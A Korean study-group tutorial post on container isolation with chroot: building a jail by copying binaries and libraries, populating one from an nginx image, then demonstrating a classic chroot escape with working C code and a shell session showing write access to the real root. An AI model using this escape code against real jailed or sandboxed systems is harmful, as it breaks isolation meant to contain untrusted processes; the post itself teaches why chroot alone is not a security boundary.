1-1. 컨테이너 격리(chroot)

🌈페이스북 Kubernetes Korea Group에서 진행한 '쿠버네티스 네트워크' 스터디에서 진행한 1주차 스터디 내용입니다.

1) 개요

컨테이너란 Host OS로부터 격리된 환경에서 실행되는 프로세스 그룹이다.

Host OS 커널을 공유하며 컨테이너가 동작하기 때문에 Host OS로부터 컨테이너가 완전히 독립적일 수는 없지만 격리된 공간에서 어플리케이션 동작에 필요한 프로세스만을 묶어서 실행시킬 수 있다.

Process란?

프로그램을 실행하면 메모리(RAM)과 같은 주기억장치로 옮겨오면서 CPU의 자원을 할당받아 실행 중인 프로그램.

출처 : process란

컨테이너 개념의 시작은 1979년에 chroot를 이용해 파일시스템의 격리가 가능해지면서부터이며 이후 여러 발전을 거쳐 현재의 Docker, Kubernetes 등 까지 이어지게 되었다.

컨테이너의 역사 이미지
이미지 출처:

이번 글에서는 컨테이너의 기반이 되는 chroot로 기초적인 컨테이너 개념을 익혀보도록 한다.

2) chroot를 이용한 프로세스 격리

리눅스 파일시스템은 root로부터 파일시스템이 시작된다.

chroot를 통해 특정 디렉토리 경로를 root로 지정하여 환경을 분리할 수 있으며, 상위 디렉토리에 프로세스가 접근할 수 없도록 설정함으로써 해당 경로에 프로세스를 격리시킬 수 있다.

root 하위에 새로운 폴더를 생성하여 격리 공간을 만들어 보겠다.

2-1) 격리 공간 생성

man chroot로 매뉴얼을 보면 다음과 같이 새로운 경로를 인자로 받아 시행하는 명령어임을 알 수 있다.

CHROOT(8)                                    User Commands                                   CHROOT(8)
NAME
       chroot - run command or interactive shell with special root directory
SYNOPSIS
       chroot [OPTION] NEWROOT [COMMAND [ARG]...]
       chroot OPTION

격리 공간으로 사용할 새로운 폴더를 생성한다.

# cd /
# mkdir jail

💥chroot로 새로운 경로의 커맨드 창에 접속하려고 하면 다음과 같은 에러가 뜨는 것을 볼 수 있다.
<# chroot jail /bin/bash
chroot: failed to run command ‘/bin/bash’: No such file or directory

새로운 경로에 /bin/bash가 없어서 생기는 일로, 기존 루트의 /bin/bash를 새로운 경로로 복사를 해줘야 한다.

# which bash
/bin/bash

# mkdir -p /jail/bin
# cp /bin/bash /jail/bin/

💥그럼에도 불구하고 다시 새로운 경로의 커맨드 창에 접속을 시도하면 같은 에러가 뜬다.
<# chroot jail /bin/bash
chroot: failed to run command ‘/bin/bash’: No such file or directory

이 때 생각해야하는 것이 /bin/bash가 참조해야하는 라이브러리이다.


2-2) 참조 라이브러리 추가

/bin/bash가 참조하는 라이브러리는 ldd명령어로 확인할 수 있다.

# man ldd
ldd - print shared object dependencies

# ldd /bin/bash
linux-vdso.so.1 (0x00007ffd63f4e000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f9298ce8000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f9298ce2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9298af0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9298e4d000)

이 라이브러리들을 격리공간에 복사해야 커맨드 창을 확인할 수 있다.

# mkdir -p /jail/lib/
# cp /lib/x86_64-linux-gnu/libtinfo.so.6 /jail/lib
# cp /lib/x86_64-linux-gnu/libdl.so.2 /jail/lib
# cp /lib/x86_64-linux-gnu/libc.so.6 /jail/lib
# mkdir -p /jail/lib64/
# cp /lib64/ld-linux-x86-64.so.2 /jail/lib64

이제 다시 bash로 접근을 해보면 잘 접속되는 것을 확인할 수 있다.

# chroot jail /bin/bash
bash-5.0# 

새로운 root를 빠져나가려고 해봐도 exit를 치기 전에는 빠져나가지 못한다.

bash-5.0# cd ..
bash-5.0# pwd
/
bash-5.0# cd ..
bash-5.0# pwd
/

끝!


이면 좋겠지만 과연 새로운 root 밑에 무엇이 있을까? 라는 궁금증에 ls명령어를 쳐보면

bash-5.0# ls
bash: ls: command not found

💥ls 명령어를 찾을 수 없다는 에러가 뜬다.

사용하고 싶은 명령어 또한 /bin/bash와 마찬가지로 참조 라이브러리를 일일히 추가해주어야 한다.

bash-5.0# exit
exit
# which ls
/bin/ls
# ldd /bin/ls
linux-vdso.so.1 (0x00007ffc2c1e5000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fbd3f948000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbd3f756000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fbd3f6c6000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbd3f6c0000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbd3f9a1000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbd3f69d000)
# cp /bin/ls /jail/bin/
# cp /lib/x86_64-linux-gnu/libselinux.so.1 /jail/lib
...(이하 생략)

복사를 한 후 확인을 해보면 ls 명령어가 잘 작동됨을 확인할 수 있다.

# chroot jail /bin/bash
bash-5.0# ls
bin  lib  lib64

이러한 방식으로 사용하고 싶은 명령어들을 복사하여 격리 환경을 만들 수 있다.

3) chroot와 이미지

사용하고 싶은 명령어를 하나하나 손수 복사하는 방법 말고도 이미지를 이용하여 한번에 환경을 생성하는 방법을 사용할 수 있다.

  1. nginx 이미지 가져오기
  2. nginx 이미지 압축
  3. 새로운 경로에 압축 풀기
  4. 새로운 경로로 접속
  5. nginx 실행
# cd /
# mkdir jail2
# docker export $(docker create nginx:latest) | tar -C jail2 -xvf -
# chroot jail2 /bin/sh
--접속--
#
# ls
bin   dev docker-entrypoint.sh  home  lib64  mnt  proc  run   srv  tmp  var
boot  docker-entrypoint.d  etc lib   media  opt  root  sbin  sys  usr

새로운 root에서 nginx를 daemon off 를 이용해 foreground로 실행시킨 후 curl localhost를 실행시켜보자

--새로운 root jail2--
# nginx -g "daemon off"

--root(새 터미널로 접속)--
# curl localhost
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
 ...

4) chroot 탈옥

이렇게 만든 격리 환경에는 큰 문제점이 있다.

바로 격리 환경 탈옥이 가능하다는 것이다.

4-1) 탈옥 코드

#include <sys/stat.h>
#include <unistd.h>

int main(void)
{
  mkdir(".out",0755); 
  chroot(".out");
  chdir("../../../../../");
  chroot(".");

  return execl("/bin/sh","-i",NULL);
}

해당 코드는 다음을 수행하게 된다.

  1. mkdir을 이용하여 chroot() 로 생성한 격리된 공간(현재 작업 디렉토리)에 임시 디렉토리를 생성한다.
  2. chroot를 이용하여 격리된 공간의 루트 디렉토리를 1에서 생성한 임시 디렉토리로 변경한다.
  3. chdir("../../../../../")을 이용하여 현재 작업 디렉토리를 chroot 환경 외부에 있는 실제 루트 디렉토리로 이동한다.
  4. chroot(".") 명령어로 격리된 공간의 루트 디렉토리를 현재 작업 디렉토리인 실제 루트 디렉토리로 변경한다.
  5. /bin/sh를 실행시켜 쉘스크립트를 실행시킨다.

코드를 실행시켜 탈옥을 확인해보자

# vi excape_chroot.c -> 위 탈옥 코드 입력

# gcc -o jail2/escape_chroot escape_chroot.c -> 탈옥 코드 컴파일 후 새로운 경로에 복사

# chroot jail2 /bin/sh -> 새로운 경로를 root로 스크립트 실행

# ls
bin   docker-entrypoint.d   etc   lib64  opt   run   sys  var
boot  docker-entrypoint.sh  home  media  proc  sbin  tmp
dev   escape_chroot         lib   mnt    root  srv   usr

# ./excape_chroot -> 코드 실행

# ls -> 탈옥을 확인
bin   escape_chroot.c  jail2  lib64       media  proc  sbin  sys  var
boot  etc              lib    libx32      mnt    root  snap  tmp
dev   home             lib32  lost+found  opt    run   srv   usr

파일을 생성해서 실제 root를 read|write 할 수 있는지 확인해보자.

# touch realout
# ls
bin   escape_chroot.c  jail2  lib64       media  proc     run   srv  usr
boot  etc              lib    libx32      mnt    realout  sbin  sys  var
dev   home             lib32  lost+found  opt    root     snap  tmp
# exit
# exit
root@ubuntu-focal:/# ls
bin   escape_chroot.c  jail2  lib64       media  proc     run   srv  usr
boot  etc              lib    libx32      mnt    realout  sbin  sys  var
dev   home             lib32  lost+found  opt    root     snap  tmp

chroot로 만든 격리 공간을 탈옥하여 read|write까지 가능한 것을 확인할 수 있다.

다음 글에서는 탈옥이 불가능하도록 설정하는 방법에 대해 작성하겠다.(pivot-root + namespace)

reference

좋은 웹페이지 즐겨찾기